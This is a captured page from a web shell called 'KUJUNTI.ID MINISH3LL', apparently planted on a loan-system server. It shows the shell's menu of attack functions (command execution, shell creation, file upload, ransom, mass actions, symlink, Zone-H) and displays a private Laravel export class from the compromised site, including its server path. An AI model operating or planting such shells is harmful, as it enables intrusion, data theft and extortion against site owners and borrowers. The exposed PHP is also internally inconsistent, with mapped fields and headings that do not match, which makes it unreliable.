KUJUNTI.ID MINISH3LL
Path : /var/www/html/thb_loan_system/app/Exports/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/thb_loan_system/app/Exports/CollectionSheetExport.php


<?php

namespace App\Exports;

use App\Models\Loan;
use Maatwebsite\Excel\Concerns\FromQuery;
use Maatwebsite\Excel\Concerns\WithMapping;
use Maatwebsite\Excel\Concerns\WithHeadings;

class CollectionSheetExport implements FromQuery, WithHeadings, WithMapping
{
    private $current_row = 0;
    public $start_date;
    public $end_date;

    public $user_id;

    public function __construct($start_date, $end_date, $user_id = null) 
    {
        $this->start_date = $start_date;
        $this->end_date = $end_date;
        $this->user_id = $user_id;
    }

    public function headings(): array
    {
        return [
            "No",
            "Loan officer",
            "Borrower",
            "Phone",
            "Loan Product",
            "Expected repayment date",
            "Maturity date",
            "Expected amount",
            "Due",
            "Outstanding",
        ];
    }

    public function query()
    {
        return Loan::query()
            ->loan_total_penalty($this->end_date)
            ->loan_total_fees($this->end_date)
            ->loan_total_interest($this->end_date)
            ->loan_total_principal($this->end_date)
            ->loan_total_interest_waived($this->end_date)
            ->loan_total_pay_off($this->end_date)
            ->loan_total_paid()
            ->loan_total_penalty()
            ->loan_total_fees()
            ->loan_total_interest()
            ->loan_total_principal()
            ->loan_total_interest_waived()
            ->loan_total_pay_off()
            ->transactions_sum_payment($this->start_date, $this->end_date)
            ->transactions_sum_waived($this->start_date, $this->end_date)
            ->with([
                'borrower',
                'schedules',
                'loan_product:id,name,repayment_order',
                'loan_officer:id,first_name,last_name',
                'latest_schedule' => function ($query) {
                    return $query->whereBetween('due_date', [$this->start_date, $this->end_date])->withCount('loanTransactions');
                },
            ])
            
            ->when(!empty($this->user_id), function ($query){
                $query->where('loan_officer_id', $this->user_id);
            })
            ->where('branch_id', session('branch_id'))
            ->where('status', 'disbursed')
            ->get();
    }

    public function map($transaction): array
    {
        $this->current_row++;
        return [
            $this->current_row,
            $transaction->name,
            $transaction->category->name,
            (float)$transaction->amount,
            $transaction->transaction_date->format('d-m-Y'),
        ];
    }
}

© KUJUNTI.ID